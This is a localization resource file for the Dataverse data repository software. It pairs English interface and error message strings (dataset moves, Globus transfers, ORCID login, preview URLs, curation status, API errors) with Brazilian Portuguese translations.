user.orcid.link	Link to ORCID profile	Link para o perfil ORCID
user.orcid.authenticate	Add Authenticated ORCID	Adicionar ORCID autenticado
user.orcid.remove	Remove ORCID	Remover ORCID
user.orcid.callback.message	Authentication Error - Dataverse could not authenticate your login at ORCID and will not add your ORCID to your profile. Please make sure you authorize your account to connect with Dataverse.	Erro de autenticação - O Dataverse não conseguiu autenticar seu login no ORCID e não adicionará seu ORCID ao seu perfil. Certifique-se de autorizar sua conta a se conectar com o Dataverse.
notification.datasetMoved	{0} was moved to {1} by {2}.	{0} foi movido para {1} por {2}.
notification.pidreconciled	The persistent identifier of dataset {0} has been updated to `{1}`.	O identificador persistente do conjunto de dados {0} foi atualizado para `{1}`.
notification.datasetMentioned.itemType	Resource	Recurso
notification.mail.globus.upload.failedRemotely	Remote data transfer between Globus endpoints for Dataset {2} failed, as reported via Globus API. {3}	A transferência remota de dados entre endpoints Globus para o conjunto de dados {2} falhou, conforme relatado pela API Globus. {3}
notification.mail.globus.upload.failedLocally	Dataverse received a confirmation of a successful Globus data transfer for Dataset {2}, but failed to add the files to the dataset locally. {3}	O Dataverse recebeu a confirmação de uma transferência de dados Globus bem-sucedida para o conjunto de dados {2}, mas não conseguiu adicionar os arquivos ao conjunto de dados localmente. {3}
notification.globus.upload.failedRemotely	Remote data transfer between Globus collections for Dataset {2} failed, reported via Globus API. {3}	A transferência remota de dados entre coleções Globus para o conjunto de dados {2} falhou, conforme relatado pela API Globus. {3}
notification.globus.upload.failedLocally	Dataverse received a confirmation of a successful Globus data transfer for Dataset {2}, but failed to add the files to the dataset locally. {3}	O Dataverse recebeu uma confirmação de uma transferência de dados Globus bem-sucedida para o conjunto de dados {2}, mas não conseguiu adicionar os arquivos ao conjunto de dados localmente. {3}
notification.typeDescription.DATASETMOVED	Dataset was moved by user	O conjunto de dados foi movido pelo usuário
notification.typeDescription.PIDRECONCILED	The Persistent identifier of dataset has been updated	O identificador persistente do conjunto de dados foi atualizado
notification.typeDescription.GLOBUSUPLOADCOMPLETED	Globus upload is completed	O upload para o Globus foi concluído
notification.typeDescription.GLOBUSUPLOADCOMPLETEDWITHERRORS	Globus upload completed with errors	O upload para o Globus foi concluído com erros
notification.typeDescription.GLOBUSDOWNLOADCOMPLETED	Globus download is completed	O download para o Globus foi concluído
notification.typeDescription.GLOBUSDOWNLOADCOMPLETEDWITHERRORS	Globus download completed with errors	O download para o Globus foi concluído com erros
notification.typeDescription.GLOBUSUPLOADLOCALFAILURE	Globus upload failed, internal error	O upload para o Globus falhou, erro interno
notification.typeDescription.GLOBUSUPLOADREMOTEFAILURE	Globus upload failed, remote transfer error	O upload para o Globus falhou, erro de transferência remota
notification.typeDescription.REQUESTEDFILEACCESS	File access requested	Acesso ao arquivo solicitado
login.institution.wayfinder.blurb	Please note the change in the login workflow: clicking the button below will redirect you to our federation service provider, InCommon.org, and you will select your institution from the list of participating authentication services there.	Observe a mudança no fluxo de login: clicar no botão abaixo o redirecionará para o nosso provedor de serviços de federação, InCommon.org, e você selecionará sua instituição na lista de serviços de autenticação participantes.
oauth2.callback.error.accountNotFound	You must be logged in to associate an ORCID with your account.	Você precisa estar conectado para associar um ORCID à sua conta.
oauth2.callback.error.orcidInUse	This ORCID ({0}) is already associated with another user account.	Este ORCID ({0}) já está associado a outra conta de usuário.
dashboard.card.move.data	Data	Dados
dashboard.card.move.dataset.manage	Move Dataset	Mover Conjunto de Dados
dashboard.card.move.dataverse.manage	Move Dataverse	Mover Dataverse
harvestclients.newClientDialog.sourcename	Source Name	Nome da Fonte
harvestclients.newClientDialog.sourcename.helptext	When the feature flag "index-harvested-metadata-source" is enabled, the source name will override the nickname in the "Metadata Source" facet. You can group multiple harvesting clients together under that facet by using the same source name.	Quando o recurso "index-harvested-metadata-source" estiver ativado, o nome da fonte substituirá o apelido na faceta "Fonte de Metadados". Você pode agrupar vários clientes de coleta nessa faceta usando o mesmo nome de fonte.
harvestclients.result.completed	Completed	Concluído
harvestclients.result.completedWithFailures	Completed with failures	Concluído com falhas
harvestclients.result.failure	FAILED	FALHOU
harvestclients.result.inProgess	IN PROGRESS	EM ANDAMENTO
harvestclients.result.deleteInProgress	DELETE IN PROGRESS	EXCLUSÃO EM ANDAMENTO
harvestclients.result.interrupted	INTERRUPTED	INTERROMPIDO
harvestclients.result.details	{0} harvested, {1} deleted, {2} failed.	{0} coletados, {1} excluídos, {2} falharam.
dashboard.move.dataset.header	Dashboard - Move Data	Painel - Mover Dados
dashboard.move.dataset.message	Manage and curate your installation by moving datasets from one host dataverse to another. See also Managing Datasets and Dataverses in the Admin Guide.	Gerencie e organize sua instalação movendo conjuntos de dados de um dataverse host para outro. Consulte também Gerenciando Conjuntos de Dados e Dataverses no Guia do Administrador.
dashboard.move.dataset.selectdataset.header	Dataset to move	Conjunto de dados a ser movido
dashboard.move.dataset.newdataverse.header	New dataverse collection host	Novo host da coleção do dataverse
dashboard.move.dataset.dataset.label	Dataset	Conjunto de dados
dashboard.move.dataset.dataverse.label	Dataverse	Dataverse
dashboard.move.dataset.confirm.dialog	Are you sure you want to move this dataset?	Tem certeza de que deseja mover este conjunto de dados?
dashboard.move.dataset.confirm.yes	Yes, move this dataset	Sim, mover este conjunto de dados
dashboard.move.dataset.message.success	The dataset "{0}" ({1}) has been successfully moved to {2}.	O conjunto de dados "{0}" ({1}) foi movido com sucesso para {2}.
dashboard.move.dataset.message.failure.summary	Failed to moved dataset	Falha ao mover o conjunto de dados
dashboard.move.dataset.message.failure.details	The dataset "{0}" ({1}) could not be moved to {2}. {3}{4}	O conjunto de dados "{0}" ({1}) não pôde ser movido para {2}. {3}{4}
dashboard.move.dataset.dataverse.placeholder	Enter Dataverse Identifier...	Insira o identificador do Dataverse...
dashboard.move.dataset.dataverse.menu.header	Dataverse Name (Affiliate), Identifier	Nome do Dataverse (Afiliado), Identificador
dashboard.move.dataset.dataverse.menu.invalidMsg	No matches found	Nenhuma correspondência encontrada
dashboard.move.dataset.placeholder	Enter Dataset Persistent ID, doi:...	Insira o ID persistente do conjunto de dados, doi:...
dashboard.move.dataset.menu.header	Dataset Persistent ID, Title, Host Dataverse Identifier	ID persistente do conjunto de dados, Título, Identificador do Dataverse Host
dashboard.move.dataset.menu.invalidMsg	No matches found	Nenhuma correspondência encontrada
dashboard.move.dataset.command.error.targetDataverseUnpublishedDatasetPublished	A published dataset may not be moved to an unpublished dataverse. You can retry the move after publishing {0}.	Um conjunto de dados publicado não pode ser movido para um dataverse não publicado. Você pode tentar novamente a movimentação após publicar {0}.
dashboard.move.dataset.command.error.targetDataverseSameAsOriginalDataverse	This dataset is already in this dataverse.	Este conjunto de dados já está neste dataverse.
dashboard.move.dataset.command.error.unforced.datasetGuestbookNotInTargetDataverse	The guestbook would be removed from this dataset if you moved it because the guestbook is not in the new host dataverse.	O livro de visitas seria removido deste conjunto de dados se você o movesse, pois o livro de visitas não está no novo dataverse host.
dashboard.move.dataset.command.error.unforced.linkedToTargetDataverseOrOneOfItsParents	This dataset is linked to the new host dataverse or one of its parents. This move would remove the link to this dataset.	Este conjunto de dados está vinculado ao novo dataverse host ou a um de seus pais. Esta movimentação removeria o vínculo com este conjunto de dados.
dashboard.move.dataset.command.error.unforced.suggestForce	Forcing this move is currently only available via API. Please see "Move a Dataset" under Managing Datasets and Dataverses in the Admin Guide for details.	Forçar esta movimentação está disponível apenas via API. Consulte "Mover um conjunto de dados" em Gerenciando conjuntos de dados e dataverses no Guia do Administrador para obter detalhes.
dashboard.move.dataverse.header	Dashboard - Move Data	Painel - Mover dados
dashboard.move.dataverse.message.summary	Move Dataverse Collection	Mover coleção do dataverse
dashboard.move.dataverse.message.detail	Manage and curate your installation by moving a dataverse collection from one host dataverse collection to another. See also Managing Datasets and Dataverses in the Admin Guide.	Gerencie e organize sua instalação movendo uma coleção do dataverse de um host para outro. Consulte também Gerenciando conjuntos de dados e dataverses no Guia do Administrador.
dashboard.move.dataverse.selectdataverse.header	Dataverse collection to move	Coleção do dataverse a ser movida
dashboard.move.dataverse.newdataverse.header	New dataverse collection host	Novo host da coleção do dataverse
dashboard.move.dataverse.label	Dataverse	Dataverse
dashboard.move.dataverse.confirm.dialog	Are you sure you want to move this dataverse collection?	Tem certeza de que deseja mover esta coleção do dataverse?
dashboard.move.dataverse.confirm.yes	Yes, move this collection	Sim, mover esta coleção
dashboard.move.dataverse.message.success	The dataverse "{0}" has been successfully moved to {1}.	O dataverse "{0}" foi movido com sucesso para {1}.
dashboard.move.dataverse.message.failure.summary	Failed to moved dataverse	Falha ao mover o dataverse
dashboard.move.dataverse.message.failure.details	The dataverse "{0}" could not be moved to {1}. {2}	O dataverse "{0}" não pôde ser movido para {1}. {2}
dashboard.move.dataverse.placeholder	Enter Dataverse Identifier...	Digite o identificador do dataverse...
dashboard.move.dataverse.menu.header	Dataverse Name (Affiliate), Identifier	Nome do dataverse (afiliado), identificador
dashboard.move.dataverse.menu.invalidMsg	No matches found	Nenhuma correspondência encontrada
notification.email.dataset.moved.subject	{0}: Dataset "{1}" has been moved	{0}: O conjunto de dados "{1}" foi movido
notification.email.pid.reconciled.subject	{0}: Dataset "{1}" persistent identifier change	{0}: Alteração do identificador persistente do conjunto de dados "{1}"
notification.email.pid.reconciled	The persistent identifier of dataset {0} has been updated to `{1}`.	O identificador persistente do conjunto de dados {0} foi atualizado para `{1}`.
notification.email.datasetWasMoved	Dataset "{1}" was just moved by {2} to the {3} collection.	O conjunto de dados "{1}" foi movido por {2} para a coleção {3}.
notification.email.globus.uploadFailedRemotely.subject	{0}: Failed to upload files via Globus	{0}: Falha ao carregar arquivos via Globus
notification.email.globus.uploadFailedLocally.subject	{0}: Failed to add files uploaded via Globus to dataset	{0}: Falha ao adicionar arquivos carregados via Globus ao conjunto de dados
dataverse.unlink.dataset.choose	Enter the name of the dataverse you would like to unlink this dataset from.	Digite o nome do dataverse do qual você deseja desvincular este conjunto de dados.
dataverse.unlink.dataset.none	No linked dataverses available.	Nenhum dataverse vinculado disponível.
dataverse.unlinked.success	{0} has been successfully unlinked from {1}.	{0} foi desvinculado com sucesso de {1}.
dataset.storage.quota.allocation	Total quota allocation for this dataset: {0} bytes	Alocação total de cota para este conjunto de dados: {0} bytes
dataset.storage.quota.notdefined	No quota defined for this dataset	Nenhuma cota definida para este conjunto de dados
dataset.storage.quota.updated	Storage quota successfully set for the dataset	Cota de armazenamento definida com sucesso para o conjunto de dados
dataset.storage.quota.deleted	Storage quota successfully disabled for the dataset	Cota de armazenamento desativada com sucesso para o conjunto de dados
dataset.storage.quota.superusersonly	Only superusers can change storage quotas.	Somente superusuários podem alterar as cotas de armazenamento.
dataset.storage.use	Total recorded size of the files stored in this dataset (user-uploaded files plus the versions in the archival tab-delimited format and/or auxiliary files, when applicable): {0} bytes	Tamanho total registrado dos arquivos armazenados neste conjunto de dados (arquivos enviados pelo usuário mais as versões no formato de arquivo delimitado por tabulação e/ou arquivos auxiliares, quando aplicável): {0} bytes
dataverse.inputlevels.error.invalidfieldtypename	Invalid dataset field type name: {0}	Nome de tipo de campo de conjunto de dados inválido: {0}
dataverse.inputlevels.error.cannotberequiredifnotincluded	The input level for the dataset field type {0} cannot be required if it is not included	O nível de entrada para o tipo de campo de conjunto de dados {0} não pode ser obrigatório se não estiver incluído
dataverse.facets.error.fieldtypenotfound	Can''t find dataset field type ''{0}''	Não foi possível encontrar o tipo de campo de conjunto de dados ''{0}''
dataverse.facets.error.fieldtypenotfacetable	Dataset field type ''{0}'' is not facetable	O tipo de campo de conjunto de dados ''{0}'' não é facetável
dataverse.metadatablocks.error.invalidmetadatablockname	Invalid metadata block name: {0}	Nome de bloco de metadados inválido: {0}
dataverse.metadatablocks.error.containslistandinheritflag	Metadata block can not contain both {0} and {1}: true	O bloco de metadados não pode conter {0} e {1}: true
dataverse.create.error.jsonparse	Error parsing Json: {0}	Erro ao analisar o JSON: {0}
dataverse.create.error.jsonparsetodataverse	Error parsing the POSTed json into a dataverse: {0}	Erro ao analisar o JSON enviado via POST em um dataverse: {0}
dataverse.create.featuredItem.error.imageFileProcessing	Error processing featured item file: {0}	Erro ao processar o arquivo de item em destaque: {0}
dataverse.create.featuredItem.error.fileSizeExceedsLimit	File exceeds the maximum size of {0}	O arquivo excede o tamanho máximo de {0}
dataverse.create.featuredItem.error.invalidFileType	Invalid image file type	Tipo de arquivo de imagem inválido
dataverse.create.featuredItem.error.contentShouldBeProvided	Featured item 'content' property should be provided and not empty.	A propriedade 'content' do item em destaque deve ser fornecida e não pode estar vazia.
dataverse.create.featuredItem.error.contentExceedsLengthLimit	Featured item content exceeds the maximum allowed length of {0} characters.	O conteúdo do item em destaque excede o comprimento máximo permitido de {0} caracteres.
dataverse.update.featuredItems.error.missingInputParams	All input parameters (id, content, displayOrder, keepFile, fileName) are required.	Todos os parâmetros de entrada (id, content, displayOrder, keepFile, fileName) são obrigatórios.
dataverse.update.featuredItems.error.inputListsSizeMismatch	All input lists (id, content, displayOrder, keepFile, fileName, type, dvObject) must have the same size.	Todas as listas de entrada (id, content, displayOrder, keepFile, fileName, type, dvObject) devem ter o mesmo tamanho.
dataverse.update.featuredItems.error.invalidTypeAndDvObject	Invalid type and DvObject.	Tipo e DvObject inválidos.
dataverse.update.featuredItems.error.invalidType	Unknown 'type' must be one of {0}	'Type' desconhecido deve ser um dos {0}
dataverse.update.featuredItems.error.typeAndDvObjectMismatch	The 'type' passed does not match the dvObject type.	O 'type' passado não corresponde ao tipo do dvObject.
dataverse.delete.featuredItems.success	All featured items of this Dataverse have been successfully deleted.	Todos os itens em destaque deste Dataverse foram excluídos com sucesso.
dataverse.createTemplate.error.jsonParseMetadataFields	Error parsing the POSTed template dataset fields: {0}	Erro ao analisar os campos do conjunto de dados do modelo POST: {0}
dataverse.setDefaultTemplate.success	The default dataset template has been successfully set for this dataverse.	O modelo de conjunto de dados padrão foi definido com sucesso para este dataverse.
dataverse.removeDefaultTemplate.success	The default dataset template has been successfully removed from this dataverse.	O modelo de conjunto de dados padrão foi removido com sucesso deste dataverse.
dataverse.theme.logo.imageThumbnail	Thumbnail Image	Imagem em miniatura
dataverse.theme.logo.image.thumbnail	The logo or image file you wish to display in the featured collection of this dataverse.	O logotipo ou arquivo de imagem que você deseja exibir na coleção em destaque deste dataverse.
dataverse.permissions.history	Role Assignment History	Histórico de atribuição de funções
dataverse.permissions.history.description	View the history of role assignments and revocations	Visualize o histórico de atribuições e revogações de funções
dataverse.permissions.history.role	Role	Função
dataverse.permissions.history.assignee	Assignee	Cedente
dataverse.permissions.history.assignedBy	Assigned By	Atribuído por
dataverse.permissions.history.assignedAt	Assignment Date	Data de atribuição
dataverse.permissions.history.revokedBy	Revoked By	Revogado por
dataverse.permissions.history.revokedAt	Revocation Date	Data de revogação
dataverse.permissions.history.definedOn	Defined On	Definido em
dataverse.permissions.history.files	{0} Files	{0} Arquivos
dataverse.permissions.history.download	Download (CSV)	Download (CSV)
dataverse.permissionsFiles.files.draftUnpublished	Draft/Unpublished	Rascunho/Não publicado
dataset.manageGuestbooks.message.notFound	The guestbook could not be found.	O livro de visitas não foi encontrado.
dataset.unlinkBtn	Unlink Dataset	Desvincular conjunto de dados
license.none.chosen	No license or custom terms chosen	Nenhuma licença ou termos personalizados escolhidos
license.none.chosen.description	No custom terms have been entered for this dataset	Nenhum termo personalizado foi inserido para este conjunto de dados
dataset.curationstatus.failure.notallowed	Status update failed - label not allowed	Falha na atualização de status - rótulo não permitido
dataset.curationstatus.failure.noChange	Status update failed - the dataset already has this status	Falha na atualização de status - o conjunto de dados já possui este status
dataset.curationstatus.failure.disabled	Status labeling disabled for this dataset	Rotulagem de status desativada para este conjunto de dados
dataset.curationstatus.failure.isReleased	Latest version of dataset is already released. Status can only be set on draft versions	A versão mais recente do conjunto de dados já foi lançada. O status só pode ser definido em versões de rascunho
dataset.curationstatus.header	Curation Status Changed	Status de curadoria alterado
dataset.curationstatus.removed	Curation Status Removed	Status de curadoria removido
dataset.curationstatus.info	Curation Status is now "{0}"	O status de curadoria agora é "{0}"
dataset.curationstatus.none
dataset.curationstatus.cantchange	Unable to change Curation Status. Please contact the administrator.	Não foi possível alterar o status de curadoria. Entre em contato com o administrador.
dataset.mayNotPublish.FilesRequired	Published datasets should contain at least one data file.	Os conjuntos de dados publicados devem conter pelo menos um arquivo de dados.
dataset.unlink.title	Unlink Dataset	Desvincular Conjunto de Dados
dataset.unlink.delete	Remove Linked Dataset	Remover Conjunto de Dados Vinculado
dataset.cite.viewCitation	View Styled Citation	Visualizar Citação Estilizada
dataset.cite.cslDialog.title	Styled Citation	Citação Estilizada
dataset.cite.cslDialog.select	Select a CSL style	Selecionar um estilo CSL
dataset.cite.cslDialog.commonStyles	Common Styles	Estilos Comuns
dataset.cite.cslDialog.otherStyles	More Styles	Mais Estilos
dataset.cite.cslDialog.citation	Citation in "{0}" style	Citação no estilo "{0}"
dataset.cite.cslDialog.generating	Generating Citation...	Gerando Citação...
dataset.cite.cslDialog.copy	Copy Citation to Clipboard	Copiar Citação para a Área de Transferência
dataset.cite.cslDialog.close	Close	Fechar
dataset.message.unlinkSuccess	{0} has been successfully unlinked from {1}.	{0} foi desvinculado com sucesso de {1}.
dataset.message.versionNoteSuccess	Version note successfully updated.	Nota de versão atualizada com sucesso.
dataset.message.parallelUpdateError	Changes cannot be saved. This dataset has been edited since this page was opened. To continue, copy your changes, refresh the page to see the recent updates, and re-enter any changes you want to save.	As alterações não podem ser salvas. Este conjunto de dados foi editado desde que esta página foi aberta. Para continuar, copie suas alterações, atualize a página para ver as atualizações recentes e insira novamente as alterações que deseja salvar.
dataset.message.parallelPublishError	Publishing is blocked. This dataset has been edited since this page was opened. To publish it, refresh the page to see the recent updates, and publish again.	A publicação está bloqueada. Este conjunto de dados foi editado desde que esta página foi aberta. Para publicá-lo, atualize a página para ver as atualizações recentes e publique novamente.
dataset.privateurl.onlyone	Only one Preview URL can be active for a single draft dataset.	Apenas um URL de visualização pode estar ativo para um único conjunto de dados em rascunho.
dataset.privateurl.general.button.label	Create General Preview URL	Criar URL de visualização geral
dataset.privateurl.general.description	Create a URL that others can use to review this draft dataset version before it is published. They will be able to access all files in the dataset and see all metadata, including metadata that may identify the dataset's authors.	Criar um URL que outras pessoas possam usar para revisar esta versão em rascunho do conjunto de dados antes de ser publicada. Elas poderão acessar todos os arquivos do conjunto de dados e ver todos os metadados, incluindo metadados que podem identificar os autores do conjunto de dados.
dataset.privateurl.general.title	General Preview	Pré-visualização geral
dataset.privateurl.anonymous.title	Anonymous Preview	Pré-visualização anônima
dataset.privateurl.anonymous.tooltip.preface	The following metadata fields will be hidden from the user of this Anonymous Preview URL:	Os seguintes campos de metadados serão ocultados do usuário desta URL de Pré-visualização Anônima:
dataset.privateurl.anonymous.button.label	Create Anonymous Preview URL	Criar URL de Pré-visualização Anônima
dataset.privateurl.anonymous.description	Create a URL that others can use to access an anonymized view of this unpublished dataset version. Metadata that could identify the dataset's author will not be displayed. (See Tool Tip for the list of withheld metadata fields.) Non-identifying metadata will be visible.	Crie uma URL que outras pessoas possam usar para acessar uma visualização anonimizada desta versão não publicada do conjunto de dados. Os metadados que possam identificar o autor do conjunto de dados não serão exibidos. (Consulte a Dica de Ferramenta para obter a lista de campos de metadados ocultos.) Os metadados não identificadores serão visíveis.
dataset.privateurl.anonymous.description.paragraph.two	The dataset's files are not changed and users of the Anonymous Preview URL will be able to access them. Users of the Anonymous Preview URL will not be able to see the name of the Dataverse that this dataset is in but will be able to see the name of the repository, which might expose the dataset authors' identities.	Os arquivos do conjunto de dados não são alterados e os usuários da URL de Pré-visualização Anônima poderão acessá-los. Os usuários da URL de Pré-visualização Anônima não poderão ver o nome do Dataverse em que este conjunto de dados está, mas poderão ver o nome do repositório, o que pode expor as identidades dos autores do conjunto de dados.
dataset.privateurl.anonymous.description.paragraph.three	To verify that all identifying information has been removed or anonymized, it is recommended that you logout and review the dataset as as it would be seen by an Anonymous Preview URL user. See User Guide for more information.	Para verificar se todas as informações de identificação foram removidas ou anonimizadas, recomenda-se que você faça logout e revise o conjunto de dados como ele seria visto por um usuário com URL de visualização anônima. Consulte o Guia do Usuário para obter mais informações.
dataset.privateurl.introduction	You can create a Preview URL to copy and share with others who will not need a repository account to review this unpublished dataset version. Once the dataset is published or if the URL is disabled, the URL will no longer work and will point to a "Page not found" page.	Você pode criar uma URL de visualização para copiar e compartilhar com outras pessoas que não precisarão de uma conta no repositório para revisar esta versão não publicada do conjunto de dados. Assim que o conjunto de dados for publicado ou se a URL for desativada, ela não funcionará mais e apontará para uma página "Página não encontrada".
dataset.privateurl.disableGeneralPreviewUrl	Disable General Preview URL	Desativar URL de visualização geral
dataset.privateurl.disableAnonPreviewUrl	Disable Anonymous Preview URL	Desativar URL de visualização anônima
dataset.privateurl.disableGeneralPreviewUrlConfirm	Yes, Disable General Preview URL	Sim, desativar URL de visualização geral
dataset.privateurl.disableAnonPreviewUrlConfirm	Yes, Disable Anonymous Preview URL	Sim, desativar URL de visualização anônima
file.selectToAdd.tipMaxNumFilesUploadsAvailable	Maximum of {0} {0, choice, 0#files\|1#file\|2#files} available to upload.	Máximo de {0} {0, escolha, 0#arquivos\|1#arquivo\|2#arquivos} disponíveis para upload.
file.selectToAdd.tipTotalSizeUsed	Total size of Collection: {0}.	Tamanho total da coleção: {0}.
file.api.globusUploadDisabled	File upload via Globus is not available for this installation of Dataverse.	O upload de arquivos via Globus não está disponível para esta instalação do Dataverse.
file.dataFilesTab.versions.headers.versionNote	Version Note	Nota da versão
file.dataFilesTab.versions.headers.archived.obsolete	Original Version Archived	Versão original arquivada
file.dataFilesTab.versions.versionNote.btn	Edit Note	Editar nota
file.viewDiffDialog.versionNote	Version Note	Nota da versão
dataset.version.versionNote.addEdit	Version Note	Nota da versão
dataset.version.versionNote.title	The reason this version was created	Motivo da criação desta versão
dataset.versionNote.header	Add/Edit a Version Note	Adicionar/Editar uma nota da versão
dataset.versionNote.tip	Enter the reason this version was created. To learn more about Version Notes, visit the Version Notes section of the User Guide.	Insira o motivo da criação desta versão. Para saber mais sobre as Notas de Versão, visite a seção Notas de Versão do Guia do Usuário.
file.add.count_exceeds_limit	Number of files can not exceed the maximum number of files allowed for this Dataset ({0}).	O número de arquivos não pode exceder o número máximo de arquivos permitido para este Conjunto de Dados ({0}).
file.dataset.error.set.file.count.limit	Only Superuser can set the Dataset File Count Limit.	Somente o Superusuário pode definir o Limite de Contagem de Arquivos do Conjunto de Dados.
find.dvo.error.dvObjectNotFound	Cant find Collection, Dataset, or Datafile with identifier: {0}.	Não foi possível encontrar a Coleção, o Conjunto de Dados ou o Arquivo de Dados com o identificador: {0}.
permission.linkDataset	Link a dataset to a dataverse	Vincule um conjunto de dados a um dataverse
permission.linkDataverse	Link a dataverse to another dataverse	Vincule um dataverse a outro dataverse
auth.orcid.notConfigured	ORCID authentication is not configured.	A autenticação ORCID não está configurada.
auth.orcid.error	An error occurred while starting ORCID authentication. Please try again later.	Ocorreu um erro ao iniciar a autenticação ORCID. Tente novamente mais tarde.
dataset.version.compare.incorrect.order	Compare requires the older dataset version to be listed first.	A comparação exige que a versão mais antiga do conjunto de dados seja listada primeiro.
dataset.linking.popup.not.linked.note	Note: This dataset is not linked to any of your accessible dataverses	Observação: Este conjunto de dados não está vinculado a nenhum dos seus dataverses acessíveis
datasetversion.archive.inprogress	Data Project archiving has been started	O arquivamento do projeto de dados foi iniciado
dataset.curationStatusMenu	Curation Status	Status da curadoria
dataset.viewCurationStatusHistory	View Curation Status History	Visualizar histórico do status da curadoria
dataset.curationStatusHistory	Curation Status History	Histórico do status da curadoria
dataset.curationStatus	Status	Status
dataset.curationDate	Date	Data
dataset.curationAssigner	Assigner	Atribuidor
guestbook.error.parsing	Error parsing Guestbook data.	Erro ao analisar os dados do Livro de Visitas.
datasets.api.curationstatuscreatetime	Status Set Time	Hora de definição do status
datasets.api.curationstatussetter	Status Set By	Definido por
datasets.api.editMetadata.error.parseUpdate	Error parsing dataset update: {0}	Erro ao analisar a atualização do conjunto de dados: {0}
datasets.api.citation.invalidFormat	Invalid Format Requested.	Formato solicitado inválido.
datasets.api.updateLicense.success	Dataset license updated.	Licença do conjunto de dados atualizada.
datasets.api.updateLicense.licenseNotFound	License with name {0} not found.	Licença com o nome {0} não encontrada.
datasets.api.updateLicense.licenseNameIsEmpty	License name cannot be empty.	O nome da licença não pode estar vazio.
dataverses.api.update.featured.items.error.onlyImageFilesAllowed	Invalid file type. Only image files are allowed.	Tipo de arquivo inválido. Somente arquivos de imagem são permitidos.
access.api.requestAccess.failure.guestbookAccessRequestResponseMissing	You may not request access to this file without the required Guestbook response for guestbookID {0}.	Você não pode solicitar acesso a este arquivo sem a resposta necessária do Livro de Visitas para o ID do livro de visitas {0}.
access.api.requestAccess.failure.guestbookresponseMissingRequired	Guestbook Response entry is required but not present ({0}).	A entrada de resposta do Livro de Visitas é obrigatória, mas não está presente ({0}).
access.api.requestAccess.failure.guestbookresponseInvalidOption	Guestbook Custom Question Answer not a valid option ({0}).	A resposta da pergunta personalizada do Livro de Visitas não é uma opção válida ({0}).
access.api.requestAccess.failure.guestbookresponseQuestionIdNotFound	Guestbook Custom Question ID {0} not found.	ID da pergunta personalizada do Livro de Visitas {0} não encontrado.
access.api.download.failure.guestbookResponseMissing	You may not download this file without the required Guestbook response for guestbookID {0}.	Não é possível baixar este arquivo sem a resposta necessária do Guestbook para o guestbookID {0}.
access.api.download.failure.guestbook.commandError	Problem trying download with guestbook response on {0} : {1}	Problema ao tentar baixar com a resposta do Guestbook em {0}: {1}
access.api.download.failure.multipleDatasets	All files being downloaded must be from the same Dataset.	Todos os arquivos que estão sendo baixados devem ser do mesmo Dataset.
permission.LinkDataverse.label	LinkDataverse	LinkDataverse
permission.LinkDataset.label	LinkDataset	LinkDataset
permission.LinkDataset.desc	Link a dataset	Vincular um dataset
permission.LinkDataverse.desc	Link a dataverse	Vincular um dataverse
pids.deletePid.failure	Unable to delete PID {0}: {1}	Não foi possível excluir o PID {0}: {1}
abstractDatasetCommand.pidNotReserved	Unable to reserve a persistent identifier for the dataset: {0}.	Não foi possível reservar um identificador persistente para o dataset: {0}.
abstractDatasetCommand.filePidNotReserved	Unable to reserve a persistent identifier for one or more files in the dataset: {0}.	Não foi possível reservar um identificador persistente para um ou mais arquivos no dataset: {0}.
abstractDatasetCommand.pidReservationRetryExceeded	"This dataset may not be registered because its identifier is already in use by another dataset: gave up after {0} attempts. Current (last requested) identifier: {1}"	"Este conjunto de dados não pode ser registrado porque seu identificador já está em uso por outro conjunto de dados: desistiu após {0} tentativas. Identificador atual (último solicitado): {1}"
schema.validation.exception.value.missing	Invalid data for key:{0} typeName:{1}. ''value'' missing.	Dados inválidos para a chave:{0} typeName:{1}. ''value'' ausente.
schema.validation.exception.list.notmultiple	Invalid data for key:{0} typeName:{1}. Found value as list but ''multiple'' is set to false.	Dados inválidos para a chave:{0} typeName:{1}. Valor encontrado como lista, mas ''multiple'' está definido como falso.
schema.validation.exception.notlist.multiple	Invalid data for key:{0} typeName:{1}. Fields with ''multiple'' set to true must be a list.	Dados inválidos para a chave:{0} typeName:{1}. Campos com ''multiple'' definido como verdadeiro devem ser uma lista.
schema.validation.exception.compound	Compound data type must be accompanied by a value that is either an object (multiple=false) or a list of objects (multiple=true)	O tipo de dados composto deve ser acompanhado por um valor que seja um objeto (multiple=false) ou uma lista de objetos (multiple=true).
schema.validation.exception.compound.mismatch	Compound value {0} must match typeName of the object. Found {1}	O valor composto {0} deve corresponder ao typeName do objeto. Encontrado {1}
schema.validation.exception.dataset.cvv.missing	Controlled vocabulary for key:{0} typeName:{1} value:''{2}'' is not valid.	O vocabulário controlado para a chave:{0} typeName:{1} value:''{2}'' não é válido.
schema.validation.exception.dataset.invalidType	Invalid data for key:{0} typeName:{1}. Only {2} allowed.	Dados inválidos para a chave:{0} typeName:{1}. Somente {2} é permitido.
schema.validation.exception.dataset.required.missing	Invalid data for key:{0}. {1} is(are) required if field type is {2}.	Dados inválidos para a chave:{0}. {1} é(são) obrigatório(s) se o tipo do campo for {2}.
users.api.errors.bearerAuthFeatureFlagDisabled	This endpoint is only available when bearer authentication feature flag is enabled.	Este endpoint está disponível apenas quando o recurso de autenticação Bearer está habilitado.
users.api.errors.bearerTokenRequired	Bearer token required.	Token Bearer necessário.
users.api.errors.jsonParseToUserDTO	Error parsing the POSTed User json: {0}	Erro ao analisar o JSON do usuário enviado via POST: {0}
users.api.userRegistered	User registered.	Usuário registrado.
registerOidcUserCommand.errors.userAlreadyRegisteredWithToken	User is already registered with this token.	O usuário já está registrado com este token.
registerOidcUserCommand.errors.invalidFields	The provided fields are invalid for registering a new user.	Os campos fornecidos são inválidos para o registro de um novo usuário.
registerOidcUserCommand.errors.userShouldAcceptTerms	Terms should be accepted.	Os termos devem ser aceitos.
registerOidcUserCommand.errors.provideMissingClaimsEnabled.fieldAlreadyPresentInProvider	Unable to set {0} because it conflicts with an existing claim from the OIDC identity provider.	Não foi possível definir {0} porque entra em conflito com uma declaração existente do provedor de identidade OIDC.
registerOidcUserCommand.errors.provideMissingClaimsEnabled.fieldRequired	It is required to include the field {0} in the request JSON for registering the user.	É necessário incluir o campo {0} no JSON da solicitação para registrar o usuário.
registerOidcUserCommand.errors.provideMissingClaimsDisabled.unableToSetFieldViaJSON	Unable to set field {0} via JSON because the api-bearer-auth-provide-missing-claims feature flag is disabled.	Não foi possível definir o campo {0} via JSON porque o recurso api-bearer-auth-provide-missing-claims está desativado.
